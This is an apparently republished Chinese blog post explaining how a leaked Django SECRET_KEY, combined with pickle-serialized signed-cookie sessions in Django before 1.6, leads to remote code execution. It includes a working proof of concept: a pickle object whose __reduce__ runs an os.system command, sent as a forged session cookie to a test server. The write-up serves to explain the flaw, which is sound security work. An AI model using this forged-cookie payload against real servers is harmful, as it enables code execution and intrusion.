从Django的SECTET_KEY到代码执行
背景
最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。
SECRET_KEY作用
SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:
1,json object的签名
2,加密函数,如密码重置,表单,评论,csrf的key,session数据
这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行
代码执行
settings的session设置
django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
django 1.6以下
在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。
session处理流程
可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码
class SessionMiddleware(object):def process_request(self, request):engine = import_module(settings.SESSION_ENGINE)session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)request.session = engine.SessionStore(session_key)
process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):"""Reverse of dumps(), raises BadSignature if signature fails"""base64d = smart_str(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))decompress = Falseif base64d[0] == '.':# It's compressed; uncompress it firstbase64d = base64d[1:]decompress = Truedata = b64_decode(base64d)if decompress:data = zlib.decompress(data)return serializer().loads(data)
构造POC
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):def __reduce__(self):return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()
通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。
总结
利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。
https://github.com/danghvu/pwp/blob/master/exploit.py
https://fail0verflow.com/blog/2014/plaidctf2014-web200-reeekeeeeee.html
https://systemoverlord.com/blog/2014/04/14/plaidctf-2014-reekeeeee/
http://www.shysecurity.com/post/Reekee
http://python.usyiyi.cn/django/topics/http/sessions.html
https://github.com/django/django/blob/stable/1.5.x/django/core/signing.py
http://stackoverflow.com/questions/15170637/effects-of-changing-djangos-secret-key/15383766?noredirect=1#comment21743494_15383766
从Django的SECTET_KEY到代码执行相关推荐
- 从django的SECRET_KEY到代码执行
0x00 背景 最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁. 0x0 ...
- python执行txt中代码_【技术分享】文件解压之过 Python中的代码执行
预估稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 一.前言 Python中负责解压压缩文件的代码实现上并不安全,存在目录遍历漏洞,攻击者可以利用该漏洞覆盖_ ...
- thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...
- linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...
- WSS 代码执行的权限提升
WSS 代码执行的权限提升 概述: WSS 默认使用身份模拟执行代码,也就是说用当前登录的用户身份执行Web Part或者自定义应用程序的代码访问.在大多数情况下,这种机制能够准确并严格地控制了标准权 ...
- ElasticSearch Groovy脚本远程代码执行漏洞
什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由 ...
- Linux包管理器apt/apt-get发现远程代码执行漏洞
研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...
- php5.3.8添加eaccelerator扩展 加速php代码执行效率
安装eaccelerator [root@localhost ~]# wget http://nchc.dl.sourceforge.net/project/eaccelerator/eacceler ...
- filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行
Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...
最新文章
- Win/Linux常用命令
- java实现具有修饰的完美圣诞树
- 强化学习笔记: backup diagram
- uva 753 A Plug for UNIX
- OpenCV copyMakeBorder()来拓展边界
- centos修改磁盘uuid_Centos更换损坏硬盘UUID改变导致系统不能正常启动处理
- 18. OD-反调试研究,破解反调试,编写反调试
- keras 的层,中文
- php 获取TZ时间格式
- Android编码规范05
- android手机常用浏览器,Android平台三款手机浏览器对比评测
- ALFA机器视觉深度学习外观检测自学习人工智能软件——红色工具
- 第一台电子计算机乌拉尔,2018网易爱乐之战题目答案大全一览
- openwrt 怎么进入串口_OpenWrt路由器读取串口数据,建立tcp服务
- vmbox-android
- Unity3D压缩和解压缩文件
- UE4 Spline的使用
- 【Flume】Flume原理简述及示例实践
- SylixOS 共用中断号机制
- jquery.validate.min.js使用介绍